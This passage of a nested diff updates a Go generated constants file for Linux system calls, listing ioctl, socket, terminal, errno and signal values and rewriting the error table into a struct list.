-+ MAP_EXECUTABLE = 0x1000
-+ MAP_GROWSDOWN = 0x100
-+ MAP_HUGETLB = 0x40000
-+ MAP_LOCKED = 0x2000
-+ MAP_NONBLOCK = 0x10000
-+ MAP_NORESERVE = 0x4000
-+ MAP_POPULATE = 0x8000
-+ MAP_STACK = 0x20000
-+ MAP_SYNC = 0x80000
-+ MCL_CURRENT = 0x1
-+ MCL_FUTURE = 0x2
-+ MCL_ONFAULT = 0x4
-+ NFDBITS = 0x20
-+ NLDLY = 0x100
-+ NOFLSH = 0x80
-+ NS_GET_NSTYPE = 0xb703
-+ NS_GET_OWNER_UID = 0xb704
-+ NS_GET_PARENT = 0xb702
-+ NS_GET_USERNS = 0xb701
-+ OLCUC = 0x2
-+ ONLCR = 0x4
-+ O_APPEND = 0x400
-+ O_ASYNC = 0x2000
-+ O_CLOEXEC = 0x80000
-+ O_CREAT = 0x40
-+ O_DIRECT = 0x10000
-+ O_DIRECTORY = 0x4000
-+ O_DSYNC = 0x1000
-+ O_EXCL = 0x80
-+ O_FSYNC = 0x101000
-+ O_LARGEFILE = 0x20000
-+ O_NDELAY = 0x800
-+ O_NOATIME = 0x40000
-+ O_NOCTTY = 0x100
-+ O_NOFOLLOW = 0x8000
-+ O_NONBLOCK = 0x800
-+ O_PATH = 0x200000
-+ O_RSYNC = 0x101000
-+ O_SYNC = 0x101000
-+ O_TMPFILE = 0x404000
-+ O_TRUNC = 0x200
-+ PARENB = 0x100
-+ PARODD = 0x200
-+ PENDIN = 0x4000
-+ PERF_EVENT_IOC_DISABLE = 0x2401
-+ PERF_EVENT_IOC_ENABLE = 0x2400
-+ PERF_EVENT_IOC_ID = 0x80042407
-+ PERF_EVENT_IOC_MODIFY_ATTRIBUTES = 0x4004240b
-+ PERF_EVENT_IOC_PAUSE_OUTPUT = 0x40042409
-+ PERF_EVENT_IOC_PERIOD = 0x40082404
-+ PERF_EVENT_IOC_QUERY_BPF = 0xc004240a
-+ PERF_EVENT_IOC_REFRESH = 0x2402
-+ PERF_EVENT_IOC_RESET = 0x2403
-+ PERF_EVENT_IOC_SET_BPF = 0x40042408
-+ PERF_EVENT_IOC_SET_FILTER = 0x40042406
-+ PERF_EVENT_IOC_SET_OUTPUT = 0x2405
-+ PPPIOCATTACH = 0x4004743d
-+ PPPIOCATTCHAN = 0x40047438
-+ PPPIOCCONNECT = 0x4004743a
-+ PPPIOCDETACH = 0x4004743c
-+ PPPIOCDISCONN = 0x7439
-+ PPPIOCGASYNCMAP = 0x80047458
-+ PPPIOCGCHAN = 0x80047437
-+ PPPIOCGDEBUG = 0x80047441
-+ PPPIOCGFLAGS = 0x8004745a
-+ PPPIOCGIDLE = 0x8008743f
-+ PPPIOCGIDLE32 = 0x8008743f
-+ PPPIOCGIDLE64 = 0x8010743f
-+ PPPIOCGL2TPSTATS = 0x80487436
-+ PPPIOCGMRU = 0x80047453
-+ PPPIOCGRASYNCMAP = 0x80047455
-+ PPPIOCGUNIT = 0x80047456
-+ PPPIOCGXASYNCMAP = 0x80207450
-+ PPPIOCSACTIVE = 0x40087446
-+ PPPIOCSASYNCMAP = 0x40047457
-+ PPPIOCSCOMPRESS = 0x400c744d
-+ PPPIOCSDEBUG = 0x40047440
-+ PPPIOCSFLAGS = 0x40047459
-+ PPPIOCSMAXCID = 0x40047451
-+ PPPIOCSMRRU = 0x4004743b
-+ PPPIOCSMRU = 0x40047452
-+ PPPIOCSNPMODE = 0x4008744b
-+ PPPIOCSPASS = 0x40087447
-+ PPPIOCSRASYNCMAP = 0x40047454
-+ PPPIOCSXASYNCMAP = 0x4020744f
-+ PPPIOCXFERUNIT = 0x744e
-+ PR_SET_PTRACER_ANY = 0xffffffff
-+ PTRACE_GETCRUNCHREGS = 0x19
-+ PTRACE_GETFDPIC = 0x1f
-+ PTRACE_GETFDPIC_EXEC = 0x0
-+ PTRACE_GETFDPIC_INTERP = 0x1
-+ PTRACE_GETFPREGS = 0xe
-+ PTRACE_GETHBPREGS = 0x1d
-+ PTRACE_GETVFPREGS = 0x1b
-+ PTRACE_GETWMMXREGS = 0x12
-+ PTRACE_GET_THREAD_AREA = 0x16
-+ PTRACE_OLDSETOPTIONS = 0x15
-+ PTRACE_SETCRUNCHREGS = 0x1a
-+ PTRACE_SETFPREGS = 0xf
-+ PTRACE_SETHBPREGS = 0x1e
-+ PTRACE_SETVFPREGS = 0x1c
-+ PTRACE_SETWMMXREGS = 0x13
-+ PTRACE_SET_SYSCALL = 0x17
-+ PT_DATA_ADDR = 0x10004
-+ PT_TEXT_ADDR = 0x10000
-+ PT_TEXT_END_ADDR = 0x10008
-+ RLIMIT_AS = 0x9
-+ RLIMIT_MEMLOCK = 0x8
-+ RLIMIT_NOFILE = 0x7
-+ RLIMIT_NPROC = 0x6
-+ RLIMIT_RSS = 0x5
-+ RNDADDENTROPY = 0x40085203
-+ RNDADDTOENTCNT = 0x40045201
-+ RNDCLEARPOOL = 0x5206
-+ RNDGETENTCNT = 0x80045200
-+ RNDGETPOOL = 0x80085202
-+ RNDRESEEDCRNG = 0x5207
-+ RNDZAPENTCNT = 0x5204
-+ RTC_AIE_OFF = 0x7002
-+ RTC_AIE_ON = 0x7001
-+ RTC_ALM_READ = 0x80247008
-+ RTC_ALM_SET = 0x40247007
-+ RTC_EPOCH_READ = 0x8004700d
-+ RTC_EPOCH_SET = 0x4004700e
-+ RTC_IRQP_READ = 0x8004700b
-+ RTC_IRQP_SET = 0x4004700c
-+ RTC_PIE_OFF = 0x7006
-+ RTC_PIE_ON = 0x7005
-+ RTC_PLL_GET = 0x801c7011
-+ RTC_PLL_SET = 0x401c7012
-+ RTC_RD_TIME = 0x80247009
-+ RTC_SET_TIME = 0x4024700a
-+ RTC_UIE_OFF = 0x7004
-+ RTC_UIE_ON = 0x7003
-+ RTC_VL_CLR = 0x7014
-+ RTC_VL_READ = 0x80047013
-+ RTC_WIE_OFF = 0x7010
-+ RTC_WIE_ON = 0x700f
-+ RTC_WKALM_RD = 0x80287010
-+ RTC_WKALM_SET = 0x4028700f
-+ SCM_TIMESTAMPING = 0x25
-+ SCM_TIMESTAMPING_OPT_STATS = 0x36
-+ SCM_TIMESTAMPING_PKTINFO = 0x3a
-+ SCM_TIMESTAMPNS = 0x23
-+ SCM_TXTIME = 0x3d
-+ SCM_WIFI_STATUS = 0x29
-+ SFD_CLOEXEC = 0x80000
-+ SFD_NONBLOCK = 0x800
-+ SIOCATMARK = 0x8905
-+ SIOCGPGRP = 0x8904
-+ SIOCGSTAMPNS_NEW = 0x80108907
-+ SIOCGSTAMP_NEW = 0x80108906
-+ SIOCINQ = 0x541b
-+ SIOCOUTQ = 0x5411
-+ SIOCSPGRP = 0x8902
-+ SOCK_CLOEXEC = 0x80000
-+ SOCK_DGRAM = 0x2
-+ SOCK_NONBLOCK = 0x800
-+ SOCK_STREAM = 0x1
-+ SOL_SOCKET = 0x1
-+ SO_ACCEPTCONN = 0x1e
-+ SO_ATTACH_BPF = 0x32
-+ SO_ATTACH_REUSEPORT_CBPF = 0x33
-+ SO_ATTACH_REUSEPORT_EBPF = 0x34
-+ SO_BINDTODEVICE = 0x19
-+ SO_BINDTOIFINDEX = 0x3e
-+ SO_BPF_EXTENSIONS = 0x30
-+ SO_BROADCAST = 0x6
-+ SO_BSDCOMPAT = 0xe
-+ SO_BUSY_POLL = 0x2e
-+ SO_CNX_ADVICE = 0x35
-+ SO_COOKIE = 0x39
-+ SO_DETACH_REUSEPORT_BPF = 0x44
-+ SO_DOMAIN = 0x27
-+ SO_DONTROUTE = 0x5
-+ SO_ERROR = 0x4
-+ SO_INCOMING_CPU = 0x31
-+ SO_INCOMING_NAPI_ID = 0x38
-+ SO_KEEPALIVE = 0x9
-+ SO_LINGER = 0xd
-+ SO_LOCK_FILTER = 0x2c
-+ SO_MARK = 0x24
-+ SO_MAX_PACING_RATE = 0x2f
-+ SO_MEMINFO = 0x37
-+ SO_NOFCS = 0x2b
-+ SO_OOBINLINE = 0xa
-+ SO_PASSCRED = 0x10
-+ SO_PASSSEC = 0x22
-+ SO_PEEK_OFF = 0x2a
-+ SO_PEERCRED = 0x11
-+ SO_PEERGROUPS = 0x3b
-+ SO_PEERSEC = 0x1f
-+ SO_PROTOCOL = 0x26
-+ SO_RCVBUF = 0x8
-+ SO_RCVBUFFORCE = 0x21
-+ SO_RCVLOWAT = 0x12
-+ SO_RCVTIMEO = 0x14
-+ SO_RCVTIMEO_NEW = 0x42
-+ SO_RCVTIMEO_OLD = 0x14
-+ SO_REUSEADDR = 0x2
-+ SO_REUSEPORT = 0xf
-+ SO_RXQ_OVFL = 0x28
-+ SO_SECURITY_AUTHENTICATION = 0x16
-+ SO_SECURITY_ENCRYPTION_NETWORK = 0x18
-+ SO_SECURITY_ENCRYPTION_TRANSPORT = 0x17
-+ SO_SELECT_ERR_QUEUE = 0x2d
-+ SO_SNDBUF = 0x7
-+ SO_SNDBUFFORCE = 0x20
-+ SO_SNDLOWAT = 0x13
-+ SO_SNDTIMEO = 0x15
-+ SO_SNDTIMEO_NEW = 0x43
-+ SO_SNDTIMEO_OLD = 0x15
-+ SO_TIMESTAMPING = 0x25
-+ SO_TIMESTAMPING_NEW = 0x41
-+ SO_TIMESTAMPING_OLD = 0x25
-+ SO_TIMESTAMPNS = 0x23
-+ SO_TIMESTAMPNS_NEW = 0x40
-+ SO_TIMESTAMPNS_OLD = 0x23
-+ SO_TIMESTAMP_NEW = 0x3f
-+ SO_TXTIME = 0x3d
-+ SO_TYPE = 0x3
-+ SO_WIFI_STATUS = 0x29
-+ SO_ZEROCOPY = 0x3c
-+ TAB1 = 0x800
-+ TAB2 = 0x1000
-+ TAB3 = 0x1800
-+ TABDLY = 0x1800
-+ TCFLSH = 0x540b
-+ TCGETA = 0x5405
-+ TCGETS = 0x5401
-+ TCGETS2 = 0x802c542a
-+ TCGETX = 0x5432
-+ TCSAFLUSH = 0x2
-+ TCSBRK = 0x5409
-+ TCSBRKP = 0x5425
-+ TCSETA = 0x5406
-+ TCSETAF = 0x5408
-+ TCSETAW = 0x5407
-+ TCSETS = 0x5402
-+ TCSETS2 = 0x402c542b
-+ TCSETSF = 0x5404
-+ TCSETSF2 = 0x402c542d
-+ TCSETSW = 0x5403
-+ TCSETSW2 = 0x402c542c
-+ TCSETX = 0x5433
-+ TCSETXF = 0x5434
-+ TCSETXW = 0x5435
-+ TCXONC = 0x540a
-+ TIOCCBRK = 0x5428
-+ TIOCCONS = 0x541d
-+ TIOCEXCL = 0x540c
-+ TIOCGDEV = 0x80045432
-+ TIOCGETD = 0x5424
-+ TIOCGEXCL = 0x80045440
-+ TIOCGICOUNT = 0x545d
-+ TIOCGISO7816 = 0x80285442
-+ TIOCGLCKTRMIOS = 0x5456
-+ TIOCGPGRP = 0x540f
-+ TIOCGPKT = 0x80045438
-+ TIOCGPTLCK = 0x80045439
-+ TIOCGPTN = 0x80045430
-+ TIOCGPTPEER = 0x5441
-+ TIOCGRS485 = 0x542e
-+ TIOCGSERIAL = 0x541e
-+ TIOCGSID = 0x5429
-+ TIOCGSOFTCAR = 0x5419
-+ TIOCGWINSZ = 0x5413
-+ TIOCINQ = 0x541b
-+ TIOCLINUX = 0x541c
-+ TIOCMBIC = 0x5417
-+ TIOCMBIS = 0x5416
-+ TIOCMGET = 0x5415
-+ TIOCMIWAIT = 0x545c
-+ TIOCMSET = 0x5418
-+ TIOCM_CAR = 0x40
-+ TIOCM_CD = 0x40
-+ TIOCM_CTS = 0x20
-+ TIOCM_DSR = 0x100
-+ TIOCM_RI = 0x80
-+ TIOCM_RNG = 0x80
-+ TIOCM_SR = 0x10
-+ TIOCM_ST = 0x8
-+ TIOCNOTTY = 0x5422
-+ TIOCNXCL = 0x540d
-+ TIOCOUTQ = 0x5411
-+ TIOCPKT = 0x5420
-+ TIOCSBRK = 0x5427
-+ TIOCSCTTY = 0x540e
-+ TIOCSERCONFIG = 0x5453
-+ TIOCSERGETLSR = 0x5459
-+ TIOCSERGETMULTI = 0x545a
-+ TIOCSERGSTRUCT = 0x5458
-+ TIOCSERGWILD = 0x5454
-+ TIOCSERSETMULTI = 0x545b
-+ TIOCSERSWILD = 0x5455
-+ TIOCSER_TEMT = 0x1
-+ TIOCSETD = 0x5423
-+ TIOCSIG = 0x40045436
-+ TIOCSISO7816 = 0xc0285443
-+ TIOCSLCKTRMIOS = 0x5457
-+ TIOCSPGRP = 0x5410
-+ TIOCSPTLCK = 0x40045431
-+ TIOCSRS485 = 0x542f
-+ TIOCSSERIAL = 0x541f
-+ TIOCSSOFTCAR = 0x541a
-+ TIOCSTI = 0x5412
-+ TIOCSWINSZ = 0x5414
-+ TIOCVHANGUP = 0x5437
-+ TOSTOP = 0x100
-+ TUNATTACHFILTER = 0x400854d5
-+ TUNDETACHFILTER = 0x400854d6
-+ TUNGETDEVNETNS = 0x54e3
-+ TUNGETFEATURES = 0x800454cf
-+ TUNGETFILTER = 0x800854db
-+ TUNGETIFF = 0x800454d2
-+ TUNGETSNDBUF = 0x800454d3
-+ TUNGETVNETBE = 0x800454df
-+ TUNGETVNETHDRSZ = 0x800454d7
-+ TUNGETVNETLE = 0x800454dd
-+ TUNSETCARRIER = 0x400454e2
-+ TUNSETDEBUG = 0x400454c9
-+ TUNSETFILTEREBPF = 0x800454e1
-+ TUNSETGROUP = 0x400454ce
-+ TUNSETIFF = 0x400454ca
-+ TUNSETIFINDEX = 0x400454da
-+ TUNSETLINK = 0x400454cd
-+ TUNSETNOCSUM = 0x400454c8
-+ TUNSETOFFLOAD = 0x400454d0
-+ TUNSETOWNER = 0x400454cc
-+ TUNSETPERSIST = 0x400454cb
-+ TUNSETQUEUE = 0x400454d9
-+ TUNSETSNDBUF = 0x400454d4
-+ TUNSETSTEERINGEBPF = 0x800454e0
-+ TUNSETTXFILTER = 0x400454d1
-+ TUNSETVNETBE = 0x400454de
-+ TUNSETVNETHDRSZ = 0x400454d8
-+ TUNSETVNETLE = 0x400454dc
-+ UBI_IOCATT = 0x40186f40
-+ UBI_IOCDET = 0x40046f41
-+ UBI_IOCEBCH = 0x40044f02
-+ UBI_IOCEBER = 0x40044f01
-+ UBI_IOCEBISMAP = 0x80044f05
-+ UBI_IOCEBMAP = 0x40084f03
-+ UBI_IOCEBUNMAP = 0x40044f04
-+ UBI_IOCMKVOL = 0x40986f00
-+ UBI_IOCRMVOL = 0x40046f01
-+ UBI_IOCRNVOL = 0x51106f03
-+ UBI_IOCRPEB = 0x40046f04
-+ UBI_IOCRSVOL = 0x400c6f02
-+ UBI_IOCSETVOLPROP = 0x40104f06
-+ UBI_IOCSPEB = 0x40046f05
-+ UBI_IOCVOLCRBLK = 0x40804f07
-+ UBI_IOCVOLRMBLK = 0x4f08
-+ UBI_IOCVOLUP = 0x40084f00
-+ VDISCARD = 0xd
-+ VEOF = 0x4
-+ VEOL = 0xb
-+ VEOL2 = 0x10
-+ VMIN = 0x6
-+ VREPRINT = 0xc
-+ VSTART = 0x8
-+ VSTOP = 0x9
-+ VSUSP = 0xa
-+ VSWTC = 0x7
-+ VT1 = 0x4000
-+ VTDLY = 0x4000
-+ VTIME = 0x5
-+ VWERASE = 0xe
-+ WDIOC_GETBOOTSTATUS = 0x80045702
-+ WDIOC_GETPRETIMEOUT = 0x80045709
-+ WDIOC_GETSTATUS = 0x80045701
-+ WDIOC_GETSUPPORT = 0x80285700
-+ WDIOC_GETTEMP = 0x80045703
-+ WDIOC_GETTIMELEFT = 0x8004570a
-+ WDIOC_GETTIMEOUT = 0x80045707
-+ WDIOC_KEEPALIVE = 0x80045705
-+ WDIOC_SETOPTIONS = 0x80045704
-+ WORDSIZE = 0x20
-+ XCASE = 0x4
-+ XTABS = 0x1800
- )
-
- // Errors
- const (
-- E2BIG = syscall.Errno(0x7)
-- EACCES = syscall.Errno(0xd)
- EADDRINUSE = syscall.Errno(0x62)
- EADDRNOTAVAIL = syscall.Errno(0x63)
- EADV = syscall.Errno(0x44)
- EAFNOSUPPORT = syscall.Errno(0x61)
-- EAGAIN = syscall.Errno(0xb)
- EALREADY = syscall.Errno(0x72)
- EBADE = syscall.Errno(0x34)
-- EBADF = syscall.Errno(0x9)
- EBADFD = syscall.Errno(0x4d)
- EBADMSG = syscall.Errno(0x4a)
- EBADR = syscall.Errno(0x35)
- EBADRQC = syscall.Errno(0x38)
- EBADSLT = syscall.Errno(0x39)
- EBFONT = syscall.Errno(0x3b)
-- EBUSY = syscall.Errno(0x10)
- ECANCELED = syscall.Errno(0x7d)
-- ECHILD = syscall.Errno(0xa)
- ECHRNG = syscall.Errno(0x2c)
- ECOMM = syscall.Errno(0x46)
- ECONNABORTED = syscall.Errno(0x67)
-@@ -1886,23 +506,15 @@ const (
- EDEADLK = syscall.Errno(0x23)
- EDEADLOCK = syscall.Errno(0x23)
- EDESTADDRREQ = syscall.Errno(0x59)
-- EDOM = syscall.Errno(0x21)
- EDOTDOT = syscall.Errno(0x49)
- EDQUOT = syscall.Errno(0x7a)
-- EEXIST = syscall.Errno(0x11)
-- EFAULT = syscall.Errno(0xe)
-- EFBIG = syscall.Errno(0x1b)
- EHOSTDOWN = syscall.Errno(0x70)
- EHOSTUNREACH = syscall.Errno(0x71)
- EHWPOISON = syscall.Errno(0x85)
- EIDRM = syscall.Errno(0x2b)
- EILSEQ = syscall.Errno(0x54)
- EINPROGRESS = syscall.Errno(0x73)
-- EINTR = syscall.Errno(0x4)
-- EINVAL = syscall.Errno(0x16)
-- EIO = syscall.Errno(0x5)
- EISCONN = syscall.Errno(0x6a)
-- EISDIR = syscall.Errno(0x15)
- EISNAM = syscall.Errno(0x78)
- EKEYEXPIRED = syscall.Errno(0x7f)
- EKEYREJECTED = syscall.Errno(0x81)
-@@ -1919,8 +531,6 @@ const (
- ELNRNG = syscall.Errno(0x30)
- ELOOP = syscall.Errno(0x28)
- EMEDIUMTYPE = syscall.Errno(0x7c)
-- EMFILE = syscall.Errno(0x18)
-- EMLINK = syscall.Errno(0x1f)
- EMSGSIZE = syscall.Errno(0x5a)
- EMULTIHOP = syscall.Errno(0x48)
- ENAMETOOLONG = syscall.Errno(0x24)
-@@ -1928,103 +538,70 @@ const (
- ENETDOWN = syscall.Errno(0x64)
- ENETRESET = syscall.Errno(0x66)
- ENETUNREACH = syscall.Errno(0x65)
-- ENFILE = syscall.Errno(0x17)
- ENOANO = syscall.Errno(0x37)
- ENOBUFS = syscall.Errno(0x69)
- ENOCSI = syscall.Errno(0x32)
- ENODATA = syscall.Errno(0x3d)
-- ENODEV = syscall.Errno(0x13)
-- ENOENT = syscall.Errno(0x2)
-- ENOEXEC = syscall.Errno(0x8)
- ENOKEY = syscall.Errno(0x7e)
- ENOLCK = syscall.Errno(0x25)
- ENOLINK = syscall.Errno(0x43)
- ENOMEDIUM = syscall.Errno(0x7b)
-- ENOMEM = syscall.Errno(0xc)
- ENOMSG = syscall.Errno(0x2a)
- ENONET = syscall.Errno(0x40)
- ENOPKG = syscall.Errno(0x41)
- ENOPROTOOPT = syscall.Errno(0x5c)
-- ENOSPC = syscall.Errno(0x1c)
- ENOSR = syscall.Errno(0x3f)
- ENOSTR = syscall.Errno(0x3c)
- ENOSYS = syscall.Errno(0x26)
-- ENOTBLK = syscall.Errno(0xf)
- ENOTCONN = syscall.Errno(0x6b)
-- ENOTDIR = syscall.Errno(0x14)
- ENOTEMPTY = syscall.Errno(0x27)
- ENOTNAM = syscall.Errno(0x76)
- ENOTRECOVERABLE = syscall.Errno(0x83)
- ENOTSOCK = syscall.Errno(0x58)
- ENOTSUP = syscall.Errno(0x5f)
-- ENOTTY = syscall.Errno(0x19)
- ENOTUNIQ = syscall.Errno(0x4c)
-- ENXIO = syscall.Errno(0x6)
- EOPNOTSUPP = syscall.Errno(0x5f)
- EOVERFLOW = syscall.Errno(0x4b)
- EOWNERDEAD = syscall.Errno(0x82)
-- EPERM = syscall.Errno(0x1)
- EPFNOSUPPORT = syscall.Errno(0x60)
-- EPIPE = syscall.Errno(0x20)
- EPROTO = syscall.Errno(0x47)
- EPROTONOSUPPORT = syscall.Errno(0x5d)
- EPROTOTYPE = syscall.Errno(0x5b)
-- ERANGE = syscall.Errno(0x22)
- EREMCHG = syscall.Errno(0x4e)
- EREMOTE = syscall.Errno(0x42)
- EREMOTEIO = syscall.Errno(0x79)
- ERESTART = syscall.Errno(0x55)
- ERFKILL = syscall.Errno(0x84)
-- EROFS = syscall.Errno(0x1e)
- ESHUTDOWN = syscall.Errno(0x6c)
- ESOCKTNOSUPPORT = syscall.Errno(0x5e)
-- ESPIPE = syscall.Errno(0x1d)
-- ESRCH = syscall.Errno(0x3)
- ESRMNT = syscall.Errno(0x45)
- ESTALE = syscall.Errno(0x74)
- ESTRPIPE = syscall.Errno(0x56)
- ETIME = syscall.Errno(0x3e)
- ETIMEDOUT = syscall.Errno(0x6e)
- ETOOMANYREFS = syscall.Errno(0x6d)
-- ETXTBSY = syscall.Errno(0x1a)
- EUCLEAN = syscall.Errno(0x75)
- EUNATCH = syscall.Errno(0x31)
- EUSERS = syscall.Errno(0x57)
-- EWOULDBLOCK = syscall.Errno(0xb)
-- EXDEV = syscall.Errno(0x12)
- EXFULL = syscall.Errno(0x36)
- )
-
- // Signals
- const (
-- SIGABRT = syscall.Signal(0x6)
-- SIGALRM = syscall.Signal(0xe)
- SIGBUS = syscall.Signal(0x7)
- SIGCHLD = syscall.Signal(0x11)
- SIGCLD = syscall.Signal(0x11)
- SIGCONT = syscall.Signal(0x12)
-- SIGFPE = syscall.Signal(0x8)
-- SIGHUP = syscall.Signal(0x1)
-- SIGILL = syscall.Signal(0x4)
-- SIGINT = syscall.Signal(0x2)
- SIGIO = syscall.Signal(0x1d)
-- SIGIOT = syscall.Signal(0x6)
-- SIGKILL = syscall.Signal(0x9)
-- SIGPIPE = syscall.Signal(0xd)
- SIGPOLL = syscall.Signal(0x1d)
- SIGPROF = syscall.Signal(0x1b)
- SIGPWR = syscall.Signal(0x1e)
-- SIGQUIT = syscall.Signal(0x3)
-- SIGSEGV = syscall.Signal(0xb)
- SIGSTKFLT = syscall.Signal(0x10)
- SIGSTOP = syscall.Signal(0x13)
- SIGSYS = syscall.Signal(0x1f)
-- SIGTERM = syscall.Signal(0xf)
-- SIGTRAP = syscall.Signal(0x5)
- SIGTSTP = syscall.Signal(0x14)
- SIGTTIN = syscall.Signal(0x15)
- SIGTTOU = syscall.Signal(0x16)
-- SIGUNUSED = syscall.Signal(0x1f)
- SIGURG = syscall.Signal(0x17)
- SIGUSR1 = syscall.Signal(0xa)
- SIGUSR2 = syscall.Signal(0xc)
-@@ -2035,171 +612,179 @@ const (
- )
-
- // Error table
--var errors = [...]string{
-- 1: "operation not permitted",
-- 2: "no such file or directory",
-- 3: "no such process",
-- 4: "interrupted system call",
-- 5: "input/output error",
-- 6: "no such device or address",
-- 7: "argument list too long",
-- 8: "exec format error",
-- 9: "bad file descriptor",
-- 10: "no child processes",
-- 11: "resource temporarily unavailable",
-- 12: "cannot allocate memory",
-- 13: "permission denied",
-- 14: "bad address",
-- 15: "block device required",
-- 16: "device or resource busy",
-- 17: "file exists",
-- 18: "invalid cross-device link",
-- 19: "no such device",
-- 20: "not a directory",
-- 21: "is a directory",
-- 22: "invalid argument",
-- 23: "too many open files in system",
-- 24: "too many open files",
-- 25: "inappropriate ioctl for device",
-- 26: "text file busy",
-- 27: "file too large",
-- 28: "no space left on device",
-- 29: "illegal seek",
-- 30: "read-only file system",
-- 31: "too many links",
-- 32: "broken pipe",
-- 33: "numerical argument out of domain",
-- 34: "numerical result out of range",
-- 35: "resource deadlock avoided",
-- 36: "file name too long",
-- 37: "no locks available",
-- 38: "function not implemented",
-- 39: "directory not empty",
-- 40: "too many levels of symbolic links",
-- 42: "no message of desired type",
-- 43: "identifier removed",
-- 44: "channel number out of range",
-- 45: "level 2 not synchronized",
-- 46: "level 3 halted",
-- 47: "level 3 reset",
-- 48: "link number out of range",
-- 49: "protocol driver not attached",
-- 50: "no CSI structure available",
-- 51: "level 2 halted",
-- 52: "invalid exchange",
-- 53: "invalid request descriptor",
-- 54: "exchange full",
-- 55: "no anode",
-- 56: "invalid request code",
-- 57: "invalid slot",
-- 59: "bad font file format",
-- 60: "device not a stream",
-- 61: "no data available",
-- 62: "timer expired",
-- 63: "out of streams resources",
-- 64: "machine is not on the network",
-- 65: "package not installed",
-- 66: "object is remote",
-- 67: "link has been severed",
-- 68: "advertise error",
-- 69: "srmount error",
-- 70: "communication error on send",
-- 71: "protocol error",
-- 72: "multihop attempted",
-- 73: "RFS specific error",
-- 74: "bad message",
-- 75: "value too large for defined data type",
-- 76: "name not unique on network",
-- 77: "file descriptor in bad state",
-- 78: "remote address changed",
-- 79: "can not access a needed shared library",
-- 80: "accessing a corrupted shared library",
-- 81: ".lib section in a.out corrupted",
-- 82: "attempting to link in too many shared libraries",
-- 83: "cannot exec a shared library directly",
-- 84: "invalid or incomplete multibyte or wide character",
-- 85: "interrupted system call should be restarted",
-- 86: "streams pipe error",
-- 87: "too many users",
-- 88: "socket operation on non-socket",
-- 89: "destination address required",
-- 90: "message too long",
-- 91: "protocol wrong type for socket",
-- 92: "protocol not available",
-- 93: "protocol not supported",
-- 94: "socket type not supported",
-- 95: "operation not supported",
-- 96: "protocol family not supported",
-- 97: "address family not supported by protocol",
-- 98: "address already in use",
-- 99: "cannot assign requested address",
-- 100: "network is down",
-- 101: "network is unreachable",
-- 102: "network dropped connection on reset",
-- 103: "software caused connection abort",
-- 104: "connection reset by peer",
-- 105: "no buffer space available",
-- 106: "transport endpoint is already connected",
-- 107: "transport endpoint is not connected",
-- 108: "cannot send after transport endpoint shutdown",
-- 109: "too many references: cannot splice",
-- 110: "connection timed out",
-- 111: "connection refused",
-- 112: "host is down",
-- 113: "no route to host",
-- 114: "operation already in progress",
-- 115: "operation now in progress",
-- 116: "stale file handle",
-- 117: "structure needs cleaning",
-- 118: "not a XENIX named type file",
-- 119: "no XENIX semaphores available",
-- 120: "is a named type file",
-- 121: "remote I/O error",
-- 122: "disk quota exceeded",
-- 123: "no medium found",
-- 124: "wrong medium type",
-- 125: "operation canceled",
-- 126: "required key not available",
-- 127: "key has expired",
-- 128: "key has been revoked",
-- 129: "key was rejected by service",
-- 130: "owner died",
-- 131: "state not recoverable",
-- 132: "operation not possible due to RF-kill",
-- 133: "memory page has hardware error",
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "operation not permitted"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "input/output error"},
-+ {6, "ENXIO", "no such device or address"},
-+ {7, "E2BIG", "argument list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file descriptor"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EAGAIN", "resource temporarily unavailable"},
-+ {12, "ENOMEM", "cannot allocate memory"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "device or resource busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "invalid cross-device link"},
-+ {19, "ENODEV", "no such device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "too many open files in system"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "numerical argument out of domain"},
-+ {34, "ERANGE", "numerical result out of range"},
-+ {35, "EDEADLK", "resource deadlock avoided"},
-+ {36, "ENAMETOOLONG", "file name too long"},
-+ {37, "ENOLCK", "no locks available"},
-+ {38, "ENOSYS", "function not implemented"},
-+ {39, "ENOTEMPTY", "directory not empty"},
-+ {40, "ELOOP", "too many levels of symbolic links"},
-+ {42, "ENOMSG", "no message of desired type"},
-+ {43, "EIDRM", "identifier removed"},
-+ {44, "ECHRNG", "channel number out of range"},
-+ {45, "EL2NSYNC", "level 2 not synchronized"},
-+ {46, "EL3HLT", "level 3 halted"},
-+ {47, "EL3RST", "level 3 reset"},
-+ {48, "ELNRNG", "link number out of range"},
-+ {49, "EUNATCH", "protocol driver not attached"},
-+ {50, "ENOCSI", "no CSI structure available"},
-+ {51, "EL2HLT", "level 2 halted"},
-+ {52, "EBADE", "invalid exchange"},
-+ {53, "EBADR", "invalid request descriptor"},
-+ {54, "EXFULL", "exchange full"},
-+ {55, "ENOANO", "no anode"},
-+ {56, "EBADRQC", "invalid request code"},
-+ {57, "EBADSLT", "invalid slot"},
-+ {59, "EBFONT", "bad font file format"},
-+ {60, "ENOSTR", "device not a stream"},
-+ {61, "ENODATA", "no data available"},
-+ {62, "ETIME", "timer expired"},
-+ {63, "ENOSR", "out of streams resources"},
-+ {64, "ENONET", "machine is not on the network"},
-+ {65, "ENOPKG", "package not installed"},
-+ {66, "EREMOTE", "object is remote"},
-+ {67, "ENOLINK", "link has been severed"},
-+ {68, "EADV", "advertise error"},
-+ {69, "ESRMNT", "srmount error"},
-+ {70, "ECOMM", "communication error on send"},
-+ {71, "EPROTO", "protocol error"},
-+ {72, "EMULTIHOP", "multihop attempted"},
-+ {73, "EDOTDOT", "RFS specific error"},
-+ {74, "EBADMSG", "bad message"},
